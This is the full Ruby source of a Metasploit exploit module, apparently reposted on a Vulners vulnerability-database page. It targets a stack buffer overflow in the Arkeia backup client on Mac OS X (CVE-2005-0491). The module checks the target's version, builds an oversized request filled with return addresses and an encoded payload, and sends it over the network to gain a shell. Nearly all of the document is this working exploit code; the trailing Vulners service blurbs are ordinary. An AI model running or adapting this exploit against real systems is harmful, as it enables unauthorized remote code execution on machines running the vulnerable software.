##
# $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Arkeia
def initialize(info = {})
super(update_info(info,
'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',
'Description' => %q{
This module exploits a stack buffer overflow in the Arkeia backup
client for the Mac OS X platform. This vulnerability affects
all versions up to and including 5.3.3 and has been tested
with Arkeia 5.3.1 on Mac OS X 10.3.5.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2005-0491'],
[ 'OSVDB', '14011'],
[ 'BID', '12594'],
[ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'MinNops' => 700,
'Compat' =>
{
'ConnectionType' => '-find',
},
},
'Targets' =>
[
[
'Arkeia 5.3.1 Stack Return (boot)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Ret' => 0xbffff910,
},
],
],
'DisclosureDate' => 'Feb 18 2005',
'DefaultTarget' => 0))
end
def check
info = arkeia_info()
if !(info and info['Version'])
return Exploit::CheckCode::Safe
end
print_status("Arkeia Server Information:")
info.each_pair { |k,v|
print_status(" #{k + (" " * (30-k.length))} = #{v}")
}
if (info['System'] !~ /Darwin/)
print_status("This module only supports Mac OS X targets")
return Exploit::CheckCode::Detected
end
if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
# Request has to be big enough to find and small enough
# not to write off the end of the stack. If we write too
# far down, we also smash env[], which causes a crash in
# getenv() before our function returns.
head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
head[6, 2] = [1200].pack('n')
buf = rand_text_english(1200, payload_badchars)
# Return back to the stack either directly or via system lib
buf[0, 112] = [target.ret].pack('N') * (112/4)
# Huge nop slep followed by the payload
buf[112, payload.encoded.length] = payload.encoded
print_status("Sending request...")
begin
sock.put(head)
sock.put(buf)
sock.get_once
rescue IOError, EOFError => e
print_status("Exception: #{e.class}:#{e}")
end
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation